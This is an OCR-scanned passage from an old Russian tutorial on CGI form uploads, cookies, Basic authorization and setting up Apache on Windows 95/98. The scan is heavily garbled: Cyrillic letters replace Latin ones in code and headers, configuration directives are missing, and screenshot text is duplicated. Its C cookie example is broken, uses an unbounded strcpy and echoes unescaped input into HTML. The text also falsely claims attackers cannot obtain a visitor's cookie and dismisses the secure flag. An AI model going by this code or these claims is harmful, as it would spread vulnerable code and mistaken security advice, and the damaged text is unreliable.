Далее алгоритм разбора должен быть следующим: в цикле мы пропускаем символы идентификатора и перевода строки, извлекаем подстроку имя="что-то" (не обращая внимания на Content-Disposition), дожидаемся двух символов перевода строки и затем считаем значением соответствующего поля все те данные, которые размещены до строки ХпИдентификатор (или же до конца, если такой строки больше нет). Как видите, все довольно просто.

Внимание

Стандарт HTTP предписывает, чтобы перевод строки содержал два символа — ХгХп, а не один \п. Как вы уже, наверное, чувствуете, существуют браузеры, которые об этом и не догадываются и посылают только один \п. Так что, будьте готовы к тому, чтобы правильно обрабатывать и эту ситуацию.

Тэг загрузки файла (file)

Теперь вернемся к тому, с чего начали — к загрузке файлов. Сначала выясним, какой тэг надо вставить в форму, чтобы в ней появился соответствующий элемент управления — поле ввода текста с кнопкой Browse справа. Таким тэгом является разновидность <input>:

<input type=file

пате=имя_элемента

[value=MMH файла]

>

Пусть пользователь выбрал какой-то файл (скажем, с именем каталог\ имя_файла) и нажал кнопку отправки. В этом случае для нашего элемента формы создается один блок примерно такого вида:

127462537625367\п

Content-Disposition: form-data; паше="имя_элемента";

Ъ 511епате="каталог\имя_файла"\п \п

Бинарные данные этого файла любой длины. Здесь могут быть совершенно любые байты без всякого ограничения.

\п

Мы видим, что сценарию вместе с содержимым файла передается и его имя в системе пользователя (параметр filename).

На этом, пожалуй, и завершим обозрение возможностей загрузки файлов.

Надеюсь, я посеял в вас неприязненное отношение к подобным методам: действительно, программировать это — не самое приятное занятие на свете (укажу только на то, что придется использовать приемы программной буферизации, чтобы правильно найти разделитель). Вот еще один довод в пользу РНР, в котором не нужно выполнять в принципе никакой работы, чтобы создать полноценный сценарий с возможностью загрузки файла.

Что такое Cookies и с чем их едят

Сначала хотелось бы сказать пару слов насчет самого термина Cookies (это множественное число, произносится как "кукис или, более "русифицировано", "куки"). В буквальном переводе слово звучит как "печенье", и почему компания Netscape так назвала свое изобретение, не совсем ясно. А поскольку писать "печенье" несколько неудобно, чтобы не вызывать несвоевременных гастрономических ассоциаций, везде, где можно, я буду применять именно слово Cookies, с большой буквы, во множественном числе и мужского рода. Кстати, в единственном числе это понятие записывается Cookie и произносится на русский манер -- "кука".

Начну с примера. Скажем, мы хотим завести гостевую книгу: пользователь вводит свое имя, E-mail, адрес домашней странички (и другую информацию о себе), наконец, текст сообщения, и после нажатия на кнопку его мысль отправляется в путешествие по проводам и серверам, чтобы в конце концов попасть в некую базу данных на нашем сервере и остаться там на веки вечные. М-да.

Теперь предположим, что эта наша гостевая книга — довольно часто посещаемое место, у нее есть постоянные пользователи, которые несколько раз на дню оставляют там свои сообщения. Что же — им придется каждый раз вводить свое имя, адрес электронной почты и другую информацию в пустые поля? Как бы сделать так, чтобы это все запоминалось где-то, чтобы даже при следующем запуске браузера нужные поля формы инициализировались автоматически, разумеется — у каждого пользователя индивидуально, тем, чем он заполнил их ранее?

Чтобы этого добиться, в принципе существуют два метода. Оба они имеют как достоинства, так и недостатки, и вскоре мы увидим, в чем же они заключаются.

Первый способ: хранить на сервере отдельную базу данных, в которой для каждого пользователя по его IP-адресу можно было бы получить последние им же введенные данные. В принципе, это решение довольно универсально, однако у него есть два существенных недостатка, которые сводят на нет все

преимущества. Главный из них — то, что большинство пользователей не имеют фиксированного (как говорят, статического) IP-адреса — каждый раз при входе в Интернет он назначается им (провайдером) автоматически (сервер провайдера обычно имеет контроль над несколькими десятками зарезервированных IP-адресов, доступных для пользователя, и выбирает для него тот, который еше не занят кем-то еще). Таким образом, мы вряд ли сможем определить, кто на самом деле зашел в нашу гостевую книгу. Второй недостаток мало связан с первым — дело в том, что если ваших пользователей очень много, то довольно проблематично в принципе иметь такую базу данных, ведь она занимает место на диске, не говоря уж о издержках на поиск в ней.

Второй способ подразумевает использование Cookies. Cookie — это небольшая именованная порция информации, которая хранится в каталоге браузера пользователя (а не на сервере, заметьте!), но которую сервер (а точнее, сценарий) волен в любой момент изменить. Кстати, сценарий также получает все Cookies, которые сохранены на удаленном компьютере, при каждом своем запуске, так что он может в любой момент времени узнать, что же там у пользователя установлено. Самым удобным в Cookies является то, что они могут храниться недели и годы до тех пор, пока их не обновит сервер или же пока не истечет срок их жизни (который тоже назначается сценарием при создании Cookie). Таким образом, мы можем иметь Cookies, которые "живут" всего несколько минут (или до того момента, пока не закроют браузер), а можем -- "долгожителей".

Не правда ли, последний способ представляет собой идеальное решение для нашей проблемы? Действительно, теперь сцеанарию гостевой книги достаточно получить у пользователя его данные, запомнить их в Cookies (как это сделать — см. ниже), а затем работать, будто ничего и не произошло. Конечно, перед выводом HTML-документа формы обязательно придется проставить значения value для некоторых элементов (которые, ясно, извлечены из соответствующих Cookies).

Но не все так гладко. Конечно, и у этой схемы есть недостатки. Первый из них — не все браузеры поддерживают Cookies, а пользователи тех, которые поддерживают, иногда имеют обыкновение отключать Cookies — якобы для большей безопасности (хотя безопасность тут совсем ни при чем, дело в самих этих пользователях). Второй недостаток заключается в том, что каждый браузер хранит свои Cookies отдельно. То есть Cookies, установленные при пользовании Internet Explorer, не будут "видны" при работе в Netscape, и наоборот.

Но, согласитесь, все же это почти не умаляет достоинств Cookies — в конце концов, обычно пользователи работают только в одном из перечисленных браузеров. Кстати, все чаще в Internet Explorer. На момент написания этих строк указанный браузер имеет в несколько раз большие возможности, чем Netscape (работая при этом, правда, несколько медленнее). Что ж... Время покажет, кто из них выживет.

Но я несколько отклонился от темы. Как уже упоминалось, каждому Cookie сопоставлено время его жизни, которое хранится вместе с ним. Кроме этого, имеется также информация об имени сервера, установившего этот Cookie, и URL каталога, в котором находился сценарий-хозяин в момент инициализации (за некоторыми исключениями).

Зачем нужны имя сервера и каталог? Очень просто: дело в том, что сценарию передаются только те Cookies, у которых параметры с именем сервера и каталога совпадают соответственно с хостом и каталогом сценария (ну, на самом деле каталог не должен совпадать полностью, он может являться подкаталогом того, который создан для хранения Cookies). Так что совершенно невозможно получить доступ к "чужим" Cookies — браузер просто не будет посылать их серверу. Это и понятно: представьте себе, сколько ненужной информации передавалось бы сценарию, если бы все было не так (особенно если пользователь довольно активно посещает различные серверы, которые не прочь поставить ему свой набор Cookies). Кроме того, "чужие" Cookies не предоставляются в целях защиты информации от несанкционированного доступа — ведь в каком-то Cookie может храниться, скажем, важный пароль (как часто делается при авторизации), а он должен быть доступен только одному определенному хосту.

Установка Cookie

Мы подошли к вопросу: как же сценарий может установить Cookie в браузере пользователя? Ведь он работает "на одном конце провода", а пользователь — на другом. Решение довольно логично: команда установки Cookie — это просто один из заголовков ответа, передаваемых сервером браузеру. То есть, перед тем как выводить Content-type, мы можем указать некоторые команды для установки Cookie. Выглядит такая команда следующим образом (разумеется, как и всякий заголовок, записывается она в одну строку):

Set-Cookie: name=value; ехр!гез=дата; йота!п=имя_хоста; раДЬ=путь; secure

Существует и другой подход активизировать Cookie — при помощи HTML- тэга <meta>. Соответственно, как только браузер увидит такой тэг, он займется обработкой Cookie. Формат тэга такой:

<meta http-equiv="Set-Cookie" content="name=value; ехр!гез=дата; йота!п=имя_хоста; path=nyTb; secure"

>

Мы можем видеть, что даже названия параметров в этих двух способах одинаковы. Какой из них выбрать — решать вам: если все заголовки уже выведены к тому моменту, когда вам потребовалось установить Cookie, используйте тэг <meta>. В противном случае лучше взять на вооружение заголовки, т. к. они не видны пользователю, а чем пользователь меньше видит при

просмотре исходного текста страницы в браузере — тем лучше нам, программистам.

Примечание J

Возможно, вы спросите, нахмурив брови: "Что же, с точки зрения программиста хороший пользователь — слепой пользователь?" Тогда я отвечу: "Что вы, нет и еще раз нет! Такой пользователь хорош лишь для дизайнера, для программиста же желателен пользователь безрукий (или, по крайней мере, лишенный клавиатуры и мыши)".

Вот что означают параметры Cookie:

name

Вместо этой строки нужно задать имя, закрепленное за Cookie. Имя должно быть URL-кодированным текстом, т. е. состоять только из алфавитно-цифровых символов. Впрочем, обычно имена для Cookies выбираются именно так, чтобы их URL-кодированная форма совпадала с оригиналом.

value

Текст, который будет рассматриваться как значение Cookie. Важно отметить, что этот текст (ровно как и строка названия Cookie) должен быть URL-кодирован. Таким образом, я должен отметить неприятный факт, что придется писать еще и функцию URL-кодирования (которая, кстати, раза в 2 сложнее, чем функция для декодирования, т. к. требует дополнительного выделения памяти).

expires

Необязательная пара ехр!гез=дата задает время жизни нашего Cookie. Точнее, Cookie самоуничтожится, как только наступит указанная дата. Например, если задать expires=Friday,31-Dec-99 23:59:59 GMT, то "печенье" будет "жить" только до 31 декабря 1999 года. Кстати, вот вам и вторая неприятность: хорошо, если мы знаем наверняка время "смерти" Cookie. А если нам нужно его вычислять на основе текущего времени (например, если мы хотим, чтобы Cookie существовал 10 дней после его установки, как в подавляющем большинстве случаев и происходит)? Придется использовать функцию, которая формировала бы календарную дату в указанном выше формате. Кстати, если этот параметр не указан, то временем жизни будет считаться вся текущая сессия работы браузера, до того момента, как пользователь его закроет.

domain

Параметр domain=HMH_xocTa задает имя хоста, с которого установили Cookie. Ранее я уже говорил про этот параметр. Так вот, оказывается, его можно

менять вручную, прописав здесь нужный адрес, и таким образом "подарить" Cookie другому хосту. Только в том случае, если параметр не задан, имя хоста определяется браузером автоматически.

path

Параметр path=nyTb обычно описывает каталог (точнее, URI), в котором расположен сценарий, установивший Cookie. Как мы видим, этот параметр также можно установить вручную, записав в него не только каталог, а вообще все, что угодно. Однако при этом следует помнить: указав хост, отличный от хоста сценария, или путь, отличный от URI каталога (или родительского каталога) сценария, мы тем самым никогда больше не увидим наш Cookie в этом сценарии.

secure

Этот параметр связан с защищенным протоколом передачи HTTPS, который в книге не рассматривается. Если вы не собираетесь писать сценарии для проведения банковских операций с кредитными карточками (или иные, требующие повышенной безопасности), вряд ли стоит обращать на него внимание.

После запуска сценария, выводящего соответствующий заголовок (или тэг <meta>), у пользователя появится Cookie с именем name и значением value. Еще раз напоминаю: значения всех параметров Cookie должны быть URL- кодированы, в противном случае возможны неожиданности.

Получение Cookies из браузера

Получить Cookies для сценария несколько проще: все они хранятся в переменной окружения HTTP_COOKIE в таком же формате, как и QUERY_STRING, только вместо & используется Например, если мы установили два Cookies: cookiel=valuel И cookie2=value2, TO В переменной окружения HTTP_COOKIE будет следующее:

cookiel=valuel;cookie2=value2.

Сценарий должен разобрать эту строку, распаковать ее и затем работать по своему усмотрению.

Пример программы для работы с Cookies

В заключение приведу простой сценарий, который использует Cookies. Для упрощения в нем не производится URL-кодирование и декодирование - будем считать, что пользователь может печатать только на латинице.

Листинг 3.8. Простой сценарий, использующий Cookies

#include <stdio.h>

#include <stdlib.h>

// начало программы

void main() {

// Временный буфер

char Buf[1000];

// получаем в переменную Cook значение Cookies char *Cook =

// пропускаем в ней 5 первых символов ("cook="), если она не пустая // получим как раз значение Cookie, которое мы установили ранее // (см. ниже) .

Cook += 5;// сдвинули указатель на 5 символов вперед по строке

// получаем переменную QUERY_STRING

char *Query = getenv("QUERY_STRING");

// проверяем, заданы ли параметры у сценария — если да, то // пользователь, очевидно, ввел свое имя или нажал кнопку, // в противном случае он просто запустил сценарий без параметров if(strcmp(Query, ’”’)) { // строка не пустая?

// копируем в буфер значение QUERY_STRING, // пропуская первые 5 символов (часть "name=") - // получим как раз текст пользователя strcpy(Buf, Query + 5) ;

// Пользователь ввел имя — значит, нужно установить Cookie printf("Set-cookie: cook=%s; "

"expires=Friday,31-Dec-01 23:59:59 GMT", Buf) ;

// Теперь это — новое значение Cookie Cook=Buf;

}

// выводим страницу с формой

printf("Content-type: text/html\n\n"); printf ("<htmlxbody>\n");

// если имя задано (не пустая строка), приветствие

if(strcmp (Cook, ""))

printf("<В1>Привет, %s!</hl>\n",Cook);

// продолжаем

printf ("<formaction=/cgi-bin/script. cgi method=get>\n") ;

printf("Ваше имя: ");

printf ("<inputtype=text name=name value=' %s'>\n", Cook) ;

printf("<inputtype=submitvalue=' Отправить ' >\n") ;

printf ( "</form>\n") ;

;

}

Теперь при первом заходе на этот URL пользователь получит форму с пустым полем для ввода имени. Если он что-то туда напечатает и нажмет кнопку отправки, его информация запомнится браузером. Итак, посетив в любое время до 31 декабря 2001 года этот же URL, он увидит то, что напечатал давным-давно в текстовом поле. И, что самое важное, — его информацию "увидит" также и сценарий. Кстати, у злоумышленника нет никаких шансов получить значение Cookie посетителя, потому что оно хранится у него на компьютере, а не на сервере.

И опять я намекаю на то, что использование Си и на этот раз довольно затруднительно. Неудобно URL-декодировать и кодировать при установке Cookies, накладно разбирать их на части, да и вообще наша простая программа получилась слишком длинной. Не правда ли, приятно будет обнаружить, что в РНР все это реализовано автоматически: для работы с Cookies существует всего одна универсальная функция setcookie () 1 а получение Cookies от браузера вообще не вызовет никаких проблем, потому что оно ничем не отличается от получения данных формы. Это логично. В самом деле, какая нам разница, какие данные пришли из формы, а какие — из Cookies? С точки зрения сценария — все равно...

Но не буду забегать вперед. Займемся пока теорией авторизации.

Авторизация

Часто бывает нужно, чтобы на какой-то URL могли попасть только определенные пользователи. А именно, только те, у которых есть зарегистрированное имя (login) и пароль (password). Механизм авторизации как раз и призван упростить проверку данных таких пользователей.

Я не буду здесь рассматривать все возможности этого механизма по трем причинам. Во-первых, существует довольно много типов авторизации, различающихся степенью защищенности передаваемых данных. Во-вторых, при написании обычных CGI-сценариев для того, чтобы включить меха-

низм авторизации, необходимо провести некоторые манипуляции с настройками (файлами конфигурации) сервера, что, скорее всего, будет затруднительно (ведь обычно компания, которая предоставляет услуги по обслуживанию виртуального хоста, не позволяет вмешиваться в настройки сервера). И наконец, в-третьих, весь механизм авторизации значительно уп- решается и унифицируется при использовании РНР, и вам не придется ничего исправлять в этих злополучных настройках сервера. Так что давайте отложим практическое знакомство с авторизацией и займемся ее теорией.

Расскажу вкратце о том, как все происходит на нижнем уровне при одном из самых простых типов авторизации — basic-авторизации. Итак, предположим, что сценарий посылает браузеру пользователя следующий заголовок:

WWW-Authenticate: Basic геа1т="имя_зоны"

НТТР/1.0 401 Unauthorized"

Обратите внимание на то, что последний заголовок несколько отличается по форме от обычных заголовков. Так и должно быть. Строка имя_зоны в первом из них задает некоторый идентификатор, который будет определять, к каким ресурсам будет разрешен доступ зарегистрированным пользователям. При программировании CGI-сценариев этот параметр используется в основном исключительно для формирования приветствия (подсказки) в диалоговом окне, появляющемся в браузере пользователя (там отображается имя зоны), так что мы не будем вдаваться в детали относительно него.

Затем, как обычно, посылается тело документа (сразу отмечу, что именно это тело ответа будет выдано пользователю, если он нажмет в диалоговом окне (см. ниже) кнопку Cancel, т. е. отменит вход). В этом случае происходит нечто удивительное: в браузере пользователя появляется небольшое диалоговое окно, в котором предлагается вести login и password. После того как пользователь это сделает, управление передается обратно серверу, который среди обычных заголовков запроса (которые посылает браузер) получает примерно такой:

Authorization: Basic TG9naW46UGFzcw==

Это — ни что иное, как закодированные данные, введенные пользователем. Теоретически, далее этот заголовок должен каким-то образом передаться сценарию (для этого как раз и необходимо добавление команд в файлы конфигурации сервера). Сценарий, декодировав его, может решить: то ли повторить всю процедуру сначала (если имя или пароль неправильные), или же начать работать с сообщением "OK, все в порядке, вы — зарегистрированный пользователь".

Предположим, что сценарий подтвердил верность данных и "пропустил" пользователя. В этом случае происходит еще одна вещь: login и password

пользователя запоминаются в скрытом Cookie, "живущем" в течение одной сессии работы с браузером. Затем, что бы мы ни делали, заголовок

Authorization: Basic значение_Соок1е

будет присылаться для любого сценария (и даже для любого документа) на нашем сервере. Таким образом, посетителю, зарегистрировавшемуся однажды, нет необходимости каждый раз заново набирать свое имя и пароль в течение текущего сеанса работы с браузером, т. е., пока пользователь его не закроет.

И еще: после верной авторизации при вызове любого сценария будет установлена переменная окружения REMOTE_USER, содержащая имя пользователя. Так что в дальнейшем можно ее задействовать для определения того, какой же посетитель зарегистрировался.

ЧАСТЬ II.

ВЫБОР И НАСТРОЙКАИНСТРУМЕНТАРИЯ.WEB-СЕРВЕР APACHE

Глава 4

Установка Apache

Введение: зачем нужен домашний сервер?

Эта часть книги поможет вам "скачать" и установить один из лучших серверов — Apache, а также те приложения, из-за которых большинство программистов и любят Apache для Windows 95/98. Имеются в виду, конечно, интерпретатор РНР и популярная СУБД MySQL, также работающие под Windows. Прочитав эту часть книги и скачав дистрибутивы (заметьте, совершенно бесплатно!), вы будете вооружены всеми инструментами, которые так необходимы для профессиональной работы в Web!

Примечание

Бытует мнение, что MySQL (а тем более для Windows 95/98) нельзя получить бесплатно, а можно только купить. Так вот, можете вздохнуть с облегчением: недавно разработчики MySQL выпустили бесплатную версию сервера для Windows 95/98, вы можете загрузить самую последнюю ее версию на официальном сайте MySQL: http://www.mysql.com.

Даже если вы и не планируете в будущем использовать РНР, а предпочитаете другой язык (например, Perl), то после внимательного ознакомления с этой частью книги вы сможете на порядок упростить себе жизнь — точнее, ее часть, касающуюся написания и отладки сценариев. И это благодаря тому, что все описанное здесь почти на 100% совместимо с тем программным обеспечением, которое скорее всего установлено у вашего хостинг-провайдера (а больше половины современных хостинг-провайдеров работают с Unix, но не с Windows). Однако, если вы собираетесь всерьез заняться хостингом На платформе Win32, то лучше, наверное, будет использовать не Apache и РНР, а MIIS (Microsoft Internet Information Server — Информационный сервер Интернета Microsoft) и ASP (Active Server Pages - Активные серверные страницы), про которые, я уверен, написано множество других книг.

Эта часть книги, как уже говорилось, будет полезна не только программистам на РНР. Ведь часто возникает ситуация, когда необходимо проверить полный вид HTML-страницы. Однако чаше всего это невозможно при работе дома — технологии SSI (Server-Side Includes — Включения на стороне сервера), CGI (Common Gateway Interface — Общий шлюзовой интерфейс) и, ко-

нечно, РНР требуют использования сервера. Как же быть? Не стоит впадать в апатию — нужно просто установить на ваш домашний компьютер (пусть даже и не подключенный к Интернету) специальную программу -- Web- сервер. Вообще-то серверов существует множество — плохие и хорошие, медленные и быстрые... Я предлагаю вам установить сервер, подпадающий под категории, следующие за "и". А именно — Apache. Самое главное то, что это чуть ли не единственный сервер, который позволяет работать в Windows 95/98 с технологиями PHP, CGI и Perl-сценариями одновременно так же просто и непринужденно, как будто у вас инсталлирована Unix.

Дистрибутивы и ссылки

Я привожу список ссылок на сайты, на которых всегда можно найти самые свежие версии программных продуктов. Все описываемые здесь программы были загружены и установлены мной именно с этих сайтов. Итак:

официальный сайт Apache: http://www.apache.org;

официальный сайт РНР: http://www.php.net;

официальный сайт MySQL: http://www.mysql.com;

официальный сайт Active Perl: www.activestate.com;

И еще несколько ссылок, полезных Web-программисту.

Всероссийский Клуб Вебмастеров: http://www.webclub.ru.

Клуб разработчиков РНР: http://www.phpclub.net.

Лаборатория dk: http://www.dklab.ru.

От слов к делу:

установка Apache

Итак, вы решились установить на свой компьютер Apache для Windows 95/98. В таком случае вам следует запастись терпением и для начала "скачать" дистрибутив сервера с официального сайта Apache: http://www.apache.org. Советую вам выбрать самую последнюю версию сервера для платформы Windows. Теперь нам предстоит настройка Apache для вашей системы.

(Замечание}

Мы попросим вас в точности выполнять перечисленные ниже шаги, не пропуская и не откладывая ни одного. Дело в том, что конфигурирование и настройка Apache — довольно непростая работа, которая обычно поручается профессионалам. Далее приводятся инструкции с довольно скупыми объяснениями, почему нужно сделать то или иное действие, в расчете на то, что вы будете соблюдать их буквально. В противном случае вам, скорее всего,

придется дополнительно провести пару неприятных часов (или дней) за изучением документации Apache, в частности, той ее части, которая касается конфигурирования.

Этап первый: установка

Запустите только что полученный файл дистрибутива Apache. В появившемся диалоговом окне нажмите кнопку Next (рис. 4.1), а затем — кнопку Yes, чтобы согласиться с условиями лицензии.

Рис. 4.1. Установка Apache

Browse-Browse-Destination Folder' C.\Program Files\ApacheGroup\ApacheDestination Folder' C.\Program Files\ApacheGroup\ApacheSetup will installApache Web Server in the following folder.Setup will installApache Web Server in the following folder.To installto this folder, dick NextTo installto this folder, dick NextTo install to a differentfolder. click Browse and select another folder.To install to a differentfolder. click Browse and select another folder.You can choose not to installApache Web Server by clicking Cancel to exit Setup-You can choose not to installApache Web Server by clicking Cancel to exit Setup-<Back 1 fcjexoI Cancel<Back 1 fcjexoI CancelChoose Destination LocationChoose Destination LocationРис. 4.2. Каталог для установки сервераРис. 4.2. Каталог для установки сервера

Browse-

Browse-

Destination Folder

' C.\Program Files\ApacheGroup\Apache

Destination Folder

' C.\Program Files\ApacheGroup\Apache

Setup will installApache Web Server in the following folder.

Setup will installApache Web Server in the following folder.

To installto this folder, dick Next

To installto this folder, dick Next

To install to a differentfolder. click Browse and select another folder.

To install to a differentfolder. click Browse and select another folder.

You can choose not to installApache Web Server by clicking Cancel to exit Setup-

You can choose not to installApache Web Server by clicking Cancel to exit Setup-

<Back 1 fcjexoI Cancel

<Back 1 fcjexoI Cancel

Choose Destination Location

Choose Destination Location

Рис. 4.2. Каталог для установки сервера

Рис. 4.2. Каталог для установки сервера

НажимайтекнопкуNextв открывающихсяокнахдотехпор, покане

появится запрос о выборе каталога для установки Apache (рис. 4.2). Рекомендую вам оставить тот каталог, который предлагается по умолчанию (пусть ЭТО, например, C:\Program Files\Apache Group\Apache). Запомните его на будущее.

В появившемся окне установите флажок Typical (Обычная) и нажмите кнопку Next (рис. 4.3).

Программа инсталляции Apache предложит создать папку в меню Пуск в папке Программы. Позвольте ей это сделать, нажав кнопку Next. Начнется процесс копирования программного обеспечения.

После окончания копирования нажмите кнопку Finish. Процесс установки сервера завершен, впереди — его настройка.

Рис. 4.З. Тип установки

Этап второй: настройка файла конфигурации Apache

На этом этапе вам нужно определиться с каталогом, в котором будут храниться ваши сайты. По умолчанию Apache использует для этого C:\Program Files\ Apache Group\Apache\htdocs, где сразу после установки можно найти документацию по серверу. Думаю, для серьезных целей такая дислокация не очень подходит — слишком уж длинное имя, поэтому я рекомендую создать для всех сайтов отдельный виртуальный диск (например, с именем Z:) при помощи утилиты subst, входящей в Windows. Итак, вам нужно проделать ряд действий.

Выберите каталог, в котором будут храниться ваши сайты (их может быть несколько). Пусть, например, это будет C:\INTERNET. Ваш каталог будет содержать корневой каталог нового диска Z :.

В начале файла C:\autoexec.bat (но после команды @echo off, если она у вас там есть) напишите такую строку:

subst Z: C:\INTERNET

Перезагрузите компьютер, чтобы новый логический диск z: создался. Теперь все, что сохранено в каталоге C:\INTERNET, будет отображаться на панели диска Z :, как будто это — обычный жесткий диск. .

Внимание

Имеются сведения, что в Windows 95/98 есть ошибка. В результате при использовании subst пути иногда "сами по себе" преобразуются в абсолютные (то есть, например, в нашем случае Z: преобразуется в C: \INTERNET), причем в процессе работы какой-нибудь программы и совершенно неожиданно для нее. Указанная ошибка чаще всего проявляется в неработоспособности Perl- транслятора (если его не совсем корректно настроить). При работе с РНР никаких побочных эффектов не наблюдалось.

Вы можете также создать диск Z : с помощью какой-нибудь программы для виртуальных разделов (например, с помощью встроенной в Windows 95/98 программы DriveSpace). Это решение, пожалуй, даже лучше, чем использование subst, как с точки зрения экономии памяти, и с точки зрения быстродействия. Ведь что такое Web-сайт, как не набор очень небольших файлов? A DriveSpace как раз и оптимизирует работу с такими файлами. Как использовать DriveSpace, смотрите во встроенной в Windows документации.

Создайте на диске Z: каталог home, а в нем — каталог localhost. В нем будет храниться содержимое главного хоста Apache — того, который доступен по адресу http://localhost. Перейдите в последний созданный каталог. Создайте в нем каталоги cgi и WWW. В первом будут храниться CGI- сценарии, а во втором — ваши документы и программы на РНР. Замечу, что подобную операцию вам нужно будет проделывать каждый раз при создании нового виртуального хоста (о них мы поговорим чуть позже). Полученная структура каталогов показана на рис. 4.4.

Откройте в Блокноте файл конфигурации httpci. conf, который расположен в подкаталоге conf каталога Apache (в нашем примере это C:\Program Files\Apache GrouplApache). Впрочем, ВЫ можете И Не ИСкать этот файл вручную, а воспользоваться командой Edit configuration, пройдяпоцепочке менюПускПрограммы|ApacheWebServerI

Management. Httpd.conf — единственный файл, который вам нужно настроить. Вам предстоит найти и изменить в нем некоторые строки, а именно те, о которых упоминается далее. Во избежание недоразумений

не трогайте все остальное. Следует заметить, что в файле каждый параметр сопровождается несколькими строками комментариев, разобраться в которых с первого раза довольно тяжело (впрочем, вы можете обратиться к Приложению Б, в котором приведен полный перевод этих комментариев на русский язык). Поэтому не обращайте на них особого внимания.

Для начала мы настроим параметры для главного хоста Apache —

а также параметры по умолчанию, которые будут унаследованы всем остальными виртуальными хостами, если мы когда-либо захотим их создать.

Рис. 4.4. Структура каталогов главного хоста

Задайте значение параметраследующим образом:

locaihost

Только не забудьте раскрыть комментарий для поля serverName, т, е. убрать символ перед этим параметром (установленный по умолчанию), поскольку все, что идет после этого символа и до конца строки, Apache игнорирует.

П В полеукажите тот каталог, в котором будут размещены

ваши HTML-файлы. Мы ранее договорились, что это будет z:\home\localhost\www)

DocumentRoot

П Найдите секцию, начинающуюся строкойи заканчивающийся строкой(такие блоки содержат установки для за

данного каталога и всех его подкаталогов). Этот блок может содержать множество комментариев — не обращайте на них внимания. Его нужно заменить на секцию следующего вида:

<Directory

Options Indexes Includes

AllowOverride All

Allow from all

</Directory>

Этим вы обеспечите, что в данном блоке будут храниться настройки для всех каталогов по умолчанию (так как — корневой каталог). А именно, для всех каталогов по умолчанию предоставляется возможность автоматической генерации индекса — списка содержимого каталога при просмотре его в браузере, а также поддержка SSI и разрешение использовать файлы .htaccess для индивидуальных настроек каталогов.

Найдитеаналогичныйблок,начинающийсястрокой

<DirectoryFiles/ApacheИ

чиваюшийся ограничителемТам будет много комментариев, нена них внимание. Этувам нужно удалить, т. к.

все настройки для каталога со страничками должны наследоваться от настроек по умолчанию, которые мы только что установили.

Инициализируйте параметртак:

Directoryindex index.htm index.html

Это — так называемые файлы индекса, которые автоматически возвращаются сервером при обращении к какому-либо каталогу, если не указано имя HTML-документа. В принципе, можно добавить сюда и другие имена, например,иТем не менее, дополнительные настройки

все же лучше делать в файлахдля каждого сайта в отдельности.

Найдите и исправьте следующий параметр:

ScriptAlias

Добавьте после него еще такую строчку:

ScriptAlias /cgi/

Да, именно так, с двумя слэшами — в начале и в конце. Это будет тот каталог, в котором должны располагаться вашиПодобный

параметрговоритApacheо том, что,если будетуказан путьвида

http:то на самомделе следуетобратиться ккаталогу z:Мы используем два псевдонима для CGI-

потому, что /cgi-bin/ будет доступен не только главному хосту localhost, но и всем остальным виртуальным хостам. В то же время у каждого из них будет дополнительно свой/cgi/.

Теперь следует найти блок параметров, начинающийся с

Program Files/ApacheИ заканчивающийся

Это — настройки дляТак как мы не соби

раемся указывать никаких дополнительных параметров взамен тех, которые уже установлены по умолчанию, этот блок нужно удалить.

Найдите и настройте (не забудьте раскрыть комментарий!) следующий параметр:

AddHandler cgi-script.exe

Он говорит Apache о том, что файлы с расширениями exe, bat и cgi надо рассматривать как CG 1-модули.

И последнее — установите следующие параметры:

AddType text/html .shtml

AddHandler server-parsed . shtml . html . htrn

Этим вы заставляете Apache обрабатывать файлы с указанными расширениями процессором SSI.

Теперь не забудьте сохранить изменения и закройте Блокнот.

Этап третий: тестирование Apache

Поздравляем — вы настроили свой Apache, и он должен уже работать! Для запуска сервера нажмите кнопку Пуск, затем выберите Программы, Apache Web Server, Management и Start Apache, при этом всплывет окно, очень похожее на Сеанс MS-DOS, и ничего больше не произойдет. Не закрывайте его и не трогайте до конца работы с Apache.

Если окно открывается и тут же закрывается, это означает, что вы допустили какую-то ошибку в файле httpd.conf. В этом случае придется искать неточность. Проще всего это сделать, как указано ниже.

Запустите Сеанс MS-DOS. Для этого нажмите кнопку Пуск, затем выберите Выполнить. Наберите в появившемся диалоговом окне строку command и нажмите клавишу <Enter>. Появится подсказка командной строки.

Наберите следующие команды DOS:

с:

cd "\Program FilesXApache Group\Apache" apache.exe

ЕслидоэтогоApacheневыполнялся,товы получите сообщениеоб

ошибке и номер строки в httpd.conf, где она произошла. Исправьте httpd.conf и повторите описанный процесс сначала, до тех пор, пока в окне не отобразится что-то вроде "Apache/1.3.14 (Win32) running..."

Несколько слов о том, как можно упростить запуск и завершение сервера. В Windows можно назначить любому ярлыку функциональную комбинацию клавиш, нажав которые, вы запустите связанное с ним приложение. Так что щелкните правой кнопкой мыши на панели задач, в контекстном меню выберите Свойства, затем Настройка меню и кнопку Дополнительно. В открывшемся Проводнике присвойте ярлыку Start Apache комбинацию клавиш <Ctrl>+<Alt>+<A>, а ярлыку Stop Apache — <Ctrl>+<Alt>+<S>. Теперь вы сможете запускать сервер нажатием <Ctrl>+<Alt>+<A> и останавливать его, нажав <Ctrl>+<Alt>+<S>.

Теперь проверим, правильно ли мы настроили сервер.

Проверка html

В каталоге z:/home/localhost/www, содержащем HTML-документы Apache, создайте файл index.html с любым текстовым наполнением. Теперь запустите браузер и наберите:

http://localhost/index.html

или просто

http://localhost/

Должен загрузиться ваш файл.

Проверка SSI

В каталоге z: /home/localhost/www с HTML-документами Apache создайте файл test.shtml со следующим содержанием (внимательно следите за соблюдением пробелов в директиве include !):

Листинг4.1. Файлtest.shtml;

SSI Test!<hr>

<!—#include virtual="/index.html" —>

<hr>

Затем наберите в браузере: http://localhost/test.shtml

Должен открыться файл, который состоит из текста "SSI Test!", за которым следует содержимое файла index.html между двумя горизонтальными чертами. Если этого не произошло, значит, вы неправильно сконфигурировали SSI.

Проверка CGI

В каталоге z: /home/localhost/cgi, предназначенном для хранения CGI- сценариев, создайте файл test.bat с таким содержанием:

i Листинг 4.2. Файл test.bat

@echo off

echo Content-type: text/html echo.

echo. Dir

Далее в браузере наберите:

http://localhost/cgi-bin/test.bat

В окне отобразится результат команды DOS dir.

; Замечание )

Нужно отметить, что последний пример работает не под всеми версиями Windows: иногда вместо того, чтобы выполнить файл test.bat, Apache выводит в браузер его содержимое. С чем это связано — не совсем ясно, однако, кажется, можно избавиться от указанной ошибки путем манипулирования с реестром Windows. Если у вас test.bat не запускается, не расстраивайтесь: вряд ли вы когда-нибудь будете писать сценарии в виде bat-файлов, тем более, что этот способ несовместим с Unix.

